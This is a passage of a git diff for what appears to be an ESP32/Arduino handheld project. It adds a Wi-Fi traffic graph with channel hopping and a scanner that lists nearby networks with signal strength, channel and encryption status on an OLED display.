sniffer.graphData[x]; + + u8g2.drawLine(x - 1, y1, x, y2); + } + + if (pktCount >= SPIKE_THRESHOLD) { + u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); + } + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_analyzer_loop() { + static uint32_t lastPress = 0; + unsigned long now = millis(); + + // channel hopping + if (now - sniffer.lastChannelSwitch >= 1000) { + sniffer.lastChannelSwitch = now; + switchChannel(); + } + + // graph update + if (now - sniffer.lastUpdate >= 200) { + sniffer.lastUpdate = now; + + uint16_t pktCount = sniffer.packetCounter; + + uint8_t scaled = pktCount * 2; + uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); + + updateGraph(value); + drawGraph(pktCount); + + sniffer.packetCounter = 0; + } + + // optional: small debounce to not hammer CPU + if (millis() - lastPress < 10) + return; +} diff --git a/src-arduino/wifi/wifi_analyzer.h b/src-arduino/wifi/wifi_analyzer.h new file mode 100644 index 0000000..df68284 --- /dev/null +++ b/src-arduino/wifi/wifi_analyzer.h @@ -0,0 +1,4 @@ +#pragma once + +void wifi_analyzer_start(); +void wifi_analyzer_loop(); diff --git a/src-arduino/wifi/wifi_scan.cpp b/src-arduino/wifi/wifi_scan.cpp new file mode 100644 index 0000000..ec172c8 --- /dev/null +++ b/src-arduino/wifi/wifi_scan.cpp @@ -0,0 +1,139 @@ +#include "ui/display.h" +#include "utils/buttons.h" +#include <Arduino.h> +#include <WiFi.h> + +#define MAX_NETWORKS 30 + +struct WiFiNet { + String ssid; + int rssi; + int channel; + bool encrypted; +}; + +static WiFiNet networks[MAX_NETWORKS]; +static int networkCount = 0; +static int selectedIndex = 0; + +// ===== SCAN ===== +void wifi_scan_start() { + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning WiFi..."); + u8g2.sendBuffer(); + + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + + delay(100); + + int n = WiFi.scanNetworks(); + + networkCount = min(n, MAX_NETWORKS); + + for (int i = 0; i < networkCount; i++) { + networks[i].ssid = WiFi.SSID(i); + networks[i].rssi = WiFi.RSSI(i); + networks[i].channel = WiFi.channel(i); + networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); + } + + selectedIndex = 0; +} + +// ===== DRAW ===== +void wifi_scan_draw() { + u8g2.clearBuffer(); + + if (networkCount == 0) { + u8g2.drawStr(0, 30, "No networks"); + u8g2.drawStr(0, 45, "Press BACK"); + } else { + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) { + int idx = selectedIndex + i; + if (idx >= networkCount) + break; + + int y = 22 + i * 14; + + if (i == 0) { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = networks[idx].ssid; + if (text.length() > 10) + text = text.substring(0, 10) + ".."; + + text += " (" + String(networks[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DETAILS ===== +void wifi_drawDetails() { + if (networkCount == 0) + return; + + WiFiNet &net = networks[selectedIndex]; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + u8g2.drawStr(0, 10, net.ssid.c_str()); + + char rssi[20]; + sprintf(rssi, "RSSI: %d", net.rssi); + u8g2.drawStr(0, 20, rssi); + + char ch[20]; + sprintf(ch, "CH: %d", net.channel); + u8g2.drawStr(0, 30, ch); + + u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_scan_loop() { + static uint32_t lastPress = 0; + + if (millis() - lastPress < 150) + return; + + if (btnDown() && selectedIndex < networkCount - 1) { + selectedIndex++; + wifi_scan_draw(); + lastPress = millis(); + } else if (btnUp() && selectedIndex > 0) { + selectedIndex--; + wifi_scan_draw(); + lastPress = millis(); + } else if (btnSelect() && networkCount > 0) { + wifi_drawDetails(); + delay(3000); + wifi_scan_draw(); + lastPress = millis(); + } + // else if (btnBack()) + // { + // wifi_scan_start(); + // wifi_scan_draw(); + // lastPress = millis(); + // } +} diff --git a/src-arduino/wifi/wifi_scan.h b/src-arduino/wifi/wifi_scan.h new file mode 100644 index 0000000..902054e --- /dev/null +++ b/src-arduino/wifi/wifi_scan.h @@ -0,0 +1,5 @@ +#pragma once + +void wifi_scan_start(); +void wifi_scan_loop(); +void wifi_scan_draw(); |
